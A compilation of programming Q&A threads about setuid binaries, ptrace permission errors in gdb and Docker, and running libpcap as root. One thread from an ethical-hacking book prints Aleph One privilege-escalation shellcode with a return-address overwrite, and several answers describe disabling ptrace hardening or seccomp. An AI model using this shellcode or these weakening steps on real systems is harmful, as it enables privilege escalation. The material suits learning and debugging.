C program using reboot with u+s permissions - c

... I'm new to C programming on Ubuntu, so please bear with me if i'm being too much of a noob.
I have a C file that when compiled, is allocated to a particular user (testUser) and is run as they log in as their shell. The user doesn't have sudo rights to the system in question. Basically this shell permits the user to update a file (/var/wwww/testfile) upon login and then reboots the system. Of course, it's the reboot which is giving me some issues, as they don't have superuser rights.
//file: testShell.c
#include <unistd.h>
//#include <linux/reboot.h>
int main(void)
{
execl("/usr/bin/nano", "nano", "/var/www/testfile", NULL);
execl("/usr/bin/shutdown", "shutdown", "-h 0", NULL);
//reboot(LINUX_REBOOT_CMD_RESTART);
return 0;
}
The file compiles just fine to testShell
I chown root:root testShell
Grant SetUID using chmod u+s testShell
Copy the file cp testShell /bin
Update the users account to use the shell chsh -s /bin/testShell testUser
I've read the man pages on shutdown and tried within the program itself using reboot (you can see in this particular version of the file, I've commented out the header file and call) but I still can't get this user to be able to reboot the system (Ubuntu 12.04 presently). I've even tried the "init 6" system call that was posted here, but all to no avail. I've also read that using the system() call isn't a particularly good idea: I've tried it none-the-less and still no joy.
It was my understanding that if I allocate the permissions correctly and then SetUID the file, anyone running that file would implicitly be running it under the owners rights, root in this case. In fact, the /var/www/testfile that the testUser is updating, is owned by root, so something's working correctly.
Any ideas where I'm going wrong?

It is really simple : you use directly execl to start nano and ... never return from it if it correctly works !
You should use a fork - exec- wait.
You will find a complete example on this other post from SO https://stackoverflow.com/a/19099707/3545273

Related

Is there a system call to run systemctl in C program (not the system() function)?

I am on a Ubuntu 22.04 server. I want to run:
systemctl restart someService
but want to do so in a C program.
Intuitively I tried:
system("systemctl restart someService")
This did not work even if my program itself has setUid set to root as systemctl does not itself have setUid bit set to root.
I would like to write a program and set its uid to root so that anyone can execute it to restart a certain system service. This is only possible by using some direct function and not the system call as done above. Any suggestions?
I don't think there is a system-call that can do the job of systemctl in general. I think your approach of calling the systemctl command from your program is correct. But, I am not getting into the security considerations here. You should be really careful when writing set-uid programs.
Now, the main issue with your code is that system should not be used from set-uid binaries because it doesn't let you control the environment variables, which can be set maliciously before calling your program to change the behavior of the called process. Besides that, the system command calls /bin/sh to run your command which on some versions of Linux drop privilege as mentioned on the man-page linked above. The right approach would be to use execve family of functions that offer more control and do not spawn a shell. What you need to do can be done in the following way -
int main(int argc, char* argv[]) {
setuid(0);
setgid(0);
char *newargv[] = {"/usr/bin/systemctl", "restart", "someService", NULL};
char *newenviron[] = { NULL };
execve(newargv[0], newargv, newenviron);
perror("execve"); /* execve() returns only on error */
exit(EXIT_FAILURE);
}
Notice the empty (or pure) environment above. It is worth noting that the execve should not return unless there is an error. If you need to wait for the return value from the systemctl command, you might have to combine this with fork

setuid not working, linux rhel6, simple example

This is a repost after being referred to "Calling a script from a setuid root C program - script does not run as root" for a solution
My problem is different in that I do not want to run the C program (and c-shell script called inside) as root. Rather, I want to run as the owner of the c program file.
Also, I tried with "setuid(0)" as this was the solution in the referenced post. This is reflected in the edited code below. Same results.
Also, I opened permissions up all the way this time with "chmod 7775" (just in case it was a permissions problem)
Here's the original note with edits to reflect the change to "setuid(0)"
I'm having a problem implementing an simple example that would demonstrate how setuid can be made to run a binary with the uid of the file owner of the binary. What I would eventually like to do is run a c-shell script using this technique.
I read that this will not work for shell scripts but also heard of a work-around using a C program to run a system() call that'll run the c-shell script ( e.g. system("source my.csh") ). I wrote a C program that attempts this, plus simply reports the current uid. This is what I tried...
From my current shell, I did a "su katman" to become the user of the binary I want to run as user katman.
I created a C program try.c. ...
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
setuid(0);
printf("In try.c ... sourcing katwhoami.csh...\n");
system( "source /home/me/su_experiments/katwhoami.csh");
printf("In try.c ... using straight system call...\n");
system("whoami");
return 0;
}
I "setuid(0)" as recommended by a reference to a different note. But earlier, I tried setting it to the uid of the C program's owner as obtained with "id -u".
The katwhoami.csh shell script is simply...
date
echo "In katwhoami.csh, I am "`whoami`
echo "In katwhoami.csh, I am "$USER
exit
Then I compiled the C program and set the bit...
% gcc -o try try.c
% chmod 7775 try
% ls -l try
-rwsrwsr-x 1 katman design 6784 Mar 1 11:59 try
And then I test it...
% try
In try.c ... sourcing katwhoami.csh...
Thu Mar 1 12:28:28 EST 2018
In katwhoami.csh, I am ktadmin
In katwhoami.csh, I am ktadmin
In try.c ... using straight system call...
ktadmin
...which is what I expected.
I exit to get back to the shell I started from, hoping that if I run try there, it'll tell me I'm "katman"....
% exit
% whoami
daveg
% try
In try.c ... sourcing katwhoami.csh...
Thu Mar 1 12:30:04 EST 2018
In katwhoami.csh, I am daveg
In katwhoami.csh, I am daveg
In try.c ... using straight system call...
daveg
... which is not what I was hoping for :-(
As you can probably tell, I'm new at using this.
Any help would be appreciated !
Update....
I tried a new sample program, a.c...
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *fh;
setuid(1234);
system("whoami");
fh=fopen("test.file","w");
fprintf(fh,"Here I am\n");
fclose(fh);
return 0;
}
I compiled and set the bit
gcc -o a a.c
chmod 4775 a
Then I exited the "su" and ran as a user that is NOT the owner of the binary. Same result as before with regard to reported uid (the current uid), BUT, the owner of the file that the C program created ion this version was the owner of the C program !!! So that worked.
Is there something fishy about the "whoami" command? system() call ?
If I do a "system("source some.csh") does it create a new shell which assumes the original uid (not the owner of the C binary) ? Something like that ?
I really need the new uid to "stick" as far as child processes.

How to solve "ptrace operation not permitted" when trying to attach GDB to a process?

I'm trying to attach a program with gdb but it returns:
Attaching to process 29139
Could not attach to process. If your uid matches the uid of the target
process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try
again as the root user. For more details, see /etc/sysctl.d/10-ptrace.conf
ptrace: Operation not permitted.
gdb-debugger returns "Failed to attach to process, please check privileges and try again."
strace returns "attach: ptrace(PTRACE_ATTACH, ...): Operation not permitted"
I changed "kernel.yama.ptrace_scope" 1 to 0 and /proc/sys/kernel/yama/ptrace_scope 1 to 0 and tried set environment LD_PRELOAD=./ptrace.so with this:
#include <stdio.h>
int ptrace(int i, int j, int k, int l) {
printf(" ptrace(%i, %i, %i, %i), returning -1\n", i, j, k, l);
return 0;
}
But it still returns the same error. How can I attach it to debuggers?
If you are using Docker, you will probably need these options:
docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined
If you are using Podman, you will probably need its --cap-add option too:
podman run --cap-add=SYS_PTRACE
This is due to kernel hardening in Linux; you can disable this behavior by echo 0 > /proc/sys/kernel/yama/ptrace_scope or by modifying it in /etc/sysctl.d/10-ptrace.conf
See also this article about it in Fedora 22 (with links to the documentation) and this comment thread about Ubuntu and .
I would like to add that I needed --security-opt apparmor=unconfined along with the options that #wisbucky mentioned. This was on Ubuntu 18.04 (both Docker client and host). Therefore, the full invocation for enabling gdb debugging within a container is:
docker run --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --security-opt apparmor=unconfined
Just want to emphasize a related answer. Let's say that you're root and you've done:
strace -p 700
and get:
strace: attach: ptrace(PTRACE_SEIZE, 700): Operation not permitted
Check:
grep TracerPid /proc/700/status
If you see something like TracerPid: 12, i.e. not 0, that's the PID of the program that is already using the ptrace system call. Both gdb and strace use it, and there can only be one active at a time.
Not really addressing the above use-case but I had this problem:
Problem: It happened that I started my program with sudo, so when launching gdb it was giving me ptrace: Operation not permitted.
Solution: sudo gdb ...
As most of us land here for Docker issues I'll add the Kubernetes answer as it might come in handy for someone...
You must add the SYS_PTRACE capability in your pod's security context
at spec.containers.securityContext:
securityContext:
capabilities:
add: [ "SYS_PTRACE" ]
There are 2 securityContext keys at 2 different places. If it tells you that the key is not recognized than you missplaced it. Try the other one.
You probably need to have a root user too as default. So in the other security context (spec.securityContext) add :
securityContext:
runAsUser: 0
runAsGroup: 0
fsGroup: 101
FYI : 0 is root. But the fsGroup value is unknown to me. For what I'm doing I don't care but you might.
Now you can do :
strace -s 100000 -e write=1 -e trace=write -p 16
You won't get the permission denied anymore !
BEWARE : This is the Pandora box. Having this in production it NOT recommended.
I was running my code with higher privileges to deal with Ethernet Raw Sockets by setting set capability command in Debian Distribution. I tried the above solution: echo 0 > /proc/sys/kernel/yama/ptrace_scope
or by modifying it in /etc/sysctl.d/10-ptrace.conf but that did not work for me.
Additionally, I also tried with set capabilities command for gdb in installed directory (usr/bin/gdb) and it works: /sbin/setcap CAP_SYS_PTRACE=+eip /usr/bin/gdb.
Be sure to run this command with root privileges.
Jesup's answer is correct; it is due to Linux kernel hardening. In my case, I am using Docker Community for Mac, and in order to do change the flag I must enter the LinuxKit shell using justin cormack's nsenter (ref: https://www.bretfisher.com/docker-for-mac-commands-for-getting-into-local-docker-vm/ ).
docker run -it --rm --privileged --pid=host justincormack/nsenter1
/ # cat /etc/issue
Welcome to LinuxKit
## .
## ## ## ==
## ## ## ## ## ===
/"""""""""""""""""\___/ ===
{ / ===-
\______ O __/
\ \ __/
\____\_______/
/ # cat /proc/sys/kernel/yama/ptrace_scope
1
/ # echo 0 > /proc/sys/kernel/yama/ptrace_scope
/ # exit
Maybe someone has attached this process with gdb.
ps -ef | grep gdb
can't gdb attach the same process twice.
I was going to answer this old question as it is unaccepted and any other answers are not got the point. The real answer may be already written in /etc/sysctl.d/10-ptrace.conf as it is my case under Ubuntu. This file says:
For applications launching crash handlers that need PTRACE, exceptions can
be registered by the debugee by declaring in the segfault handler
specifically which process will be using PTRACE on the debugee:
prctl(PR_SET_PTRACER, debugger_pid, 0, 0, 0);
So just do the same thing as above: keep /proc/sys/kernel/yama/ptrace_scope as 1 and add prctl(PR_SET_PTRACER, debugger_pid, 0, 0, 0); in the debugee. Then the debugee will allow debugger to debug it. This works without sudo and without reboot.
Usually, debugee also need to call waitpid to avoid exit after crash so debugger can find the pid of debugee.
If permissions are a problem, you probably will want to use gdbserver. (I almost always use gdbserver when I gdb, docker or no, for numerous reasons.) You will need gdbserver (Deb) or gdb-gdbserver (RH) installed in the docker image. Run the program in docker with
$ sudo gdbserver :34567 myprogram arguments
(pick a port number, 1025-65535). Then, in gdb on the host, say
(gdb) target remote 172.17.0.4:34567
where 172.17.0.4 is the IP address of the docker image as reported by /sbin/ip addr list run in the docker image. This will attach at a point before main runs. You can tb main and c to stop at main, or wherever you like. Run gdb under cgdb, emacs, vim, or even in some IDE, or plain. You can run gdb in your source or build tree, so it knows where everything is. (If it can't find your sources, use the dir command.) This is usually much better than running it in the docker image.
gdbserver relies on ptrace, so you will also need to do the other things suggested above. --privileged --pid=host sufficed for me.
If you deploy to other OSes or embedded targets, you can run gdbserver or a gdb stub there, and run gdb the same way, connecting across a real network or even via a serial port (/dev/ttyS0).
I don't know what you are doing with LD_PRELOAD or your ptrace function.
Why don't you try attaching gdb to a very simple program? Make a program that simply repeatedly prints Hello or something and use gdb --pid [hello program PID] to attach to it.
If that does not work then you really do have a problem.
Another issue is the user ID. Is the program that you are tracing setting itself to another UID? If it is then you cannot ptrace it unless you are using the same user ID or are root.
I have faced the same problem and try a lot of solution but finally, I have found the solution, but really I don't know what the problem was. First I modified the ptrace_conf value and login into Ubuntu as a root but the problem still appears. But the most strange thing that happened is the gdb showed me a message that says:
Could not attach to process. If your uid matches the uid of the target process, check the setting of /proc/sys/kernel/yama/ptrace_scope, or try again as the root user.
For more details, see /etc/sysctl.d/10-ptrace.conf
warning: process 3767 is already traced by process 3755 ptrace: Operation not permitted.
With ps command terminal, the process 3755 was not listed.
I found the process 3755 in /proc/$pid but I don't understand what was it!!
Finally, I deleted the target file (foo.c) that I try to attach it vid gdb and tracer c program using PTRACE_ATTACH syscall, and in the other folder, I created another c program and compiled it.
the problem is solved and I was enabled to attach to another process either by gdb or ptrace_attach syscall.
(gdb) attach 4416
Attaching to process 4416
and I send a lot of signals to process 4416. I tested it with both gdb and ptrace, both of them run correctly.
really I don't know the problem what was, but I think it is not a bug in Ubuntu as a lot of sites have referred to it, such https://askubuntu.com/questions/143561/why-wont-strace-gdb-attach-to-a-process-even-though-im-root
Extra information
If you wanna make changes in the interfaces such as add the ovs bridge, you must use --privileged instead of --cap-add NET_ADMIN.
sudo docker run -itd --name=testliz --privileged --cap-add=SYS_PTRACE --security-opt seccomp=unconfined ubuntu
If you are using FreeBSD, edit /etc/sysctl.conf, change the line
security.bsd.unprivileged_proc_debug=0
to
security.bsd.unprivileged_proc_debug=1
Then reboot.

How do you debug libpcap code as a normal user on OS X with Xcode?

I Have written following code using libpcap in xCode
#include<pcap.h>
#include<string.h>
#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>
#include<unistd.h>
#define MAXBYTES2CAPTURE 2048
void processPacket(u_char *arg,const struct pcap_pkthdr* pkthdr,const u_char* packet){
int i=0,*counter=(int*)arg;
printf("Packet Count:%d\n",++(*counter));
printf("Recived Packet Size:%d\n",pkthdr->len);
printf("Payload:\n");
for(i=0;i<pkthdr->len;i++){
if(isprint(packet[i]))
printf("%c",packet[i]);
else
printf(". ");
if((i%16==0&&i!=0)||i==pkthdr->len-1)
printf("\n");
}
}
int main(){
int count=0;
pcap_t *descr=NULL;
char errbuf[PCAP_ERRBUF_SIZE];
memset(errbuf,0,PCAP_ERRBUF_SIZE);
descr=pcap_open_live("en1", MAXBYTES2CAPTURE, 1, 512, errbuf);
if(descr!=NULL)
pcap_loop(descr, -1, processPacket,(u_char*)&count);
else
printf("ERROR");
return 0;
}
Now While running from xCode 4.4 it Displays "ERROR"
but when I go to the product directory and run like this in terminal :
sudo ./TCP_packet
password:********
It runs fine
I have already used setuid(0),But still not working in xCode!!!
So,How can I Run this program as root in xCode, is there some setting that I have to do in xCode
xCode ver:4.4
OSX:10.7 Lion
thank U
You need to make the app setuid, owned by root after building.
If you want to make the program work you need to do:
chown root:wheel TCP_packet
chmod u+s TCP_packet
This will allow it to run with root privileges, and thus access the packet capture device.
If you've installed wireshark, it should have added your user account to an access_bpf group, which permits access to the /dev/bpf* devices, which is what you need to perform packet capture.
prior to this helper, I used to do: sudo chgrp admin /dev/bpf*; sudo chmod g+r /dev/bpf*, which allowed access to the packet capture device until next reboot
I'm not sure why people are saying to chmod the /dev/bpf* files. Just add yourself to the access_bpf group so your user account can access the packet filter devices.
Go to Apple menu > System Preferences... > Users & Groups, unlock the panel if needed, click the +, select Group from the drop-down, name the group access_bpf, and create it. Then expand Groups and make sure your user account is added to it.
Works for me. I don't need to use sudo to capture packets. (or chmod every boot)
setuid only works on a system(), fork() or exec() calls, so this won't help you
what you can do is chmod u+s TCP_packet as the root user, this will do what you want
Or, because you are debugging and want this done as root; just simply launch Xcode as root.
cd /Applications/Xcode.app/Contents/MacOS/
sudo ./Xcode
Navigate to your project and you are good to go.
Enjoy.
~moses

I have this code .... Ethical Hacking

I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code.
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
I give this the super user privileges, with
chmod u+s shellcode
as a super user, then go back to normal user with
su - normal_user
but when I run ./shellcode I should be a root user but instead I still be normal_user
so any help??
btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...
If this is an old exploit... Shouldn't it have been already fixed long ago?
By the way, as a personal advice: don't be so lame to use that nickname and then go around asking about exploits.
Is the shellcode executable owned by root? The setuid bit (u+s) makes the executable run with the privileges of its owner, which is not necessarily root.
Well, setuid() changes the user for the currently running program. Your Shell will still be running under your normal user! :)
Either that, or I don't get this hack's purpose.
I think setuid only sets the uid to 0 while the program is running. Can you perform some operation to check the UID while the shellcode is running?
If I get it right, the code you are executing (setuid(0)) is a System Call that changes the current user to the root. The catch is that it's changing the current user id over that process, giving that process root authority. If it is working you could run anything with root privileges.
To test it, create a file or directory with the root, make sure you can't remove it as a simple user, and then try adding code to your executable that removes the file. If the code is working, the file should be deleted.
Then, to gain root powers, try to fork to a new shell from within your program. I'm not sure if it's possible, though.
...however, this is an old exploit. Old kernels might be open to this, but using any recent release will do nothing at all.
UPDATE: I've just re-read the code and realized the call to the shell is there (/bin/sh), so you are already forking to a supposed super-user shell. To check if it's actually working, see the PID of your shell before and after the call. If it has changed, exit the shell, you should return to the previous PID. That means (1) it worked, you manipulated the stack and executed that code there, and (2) the exploit is fixed and the Kernel is preventing you from gaining access.

Resources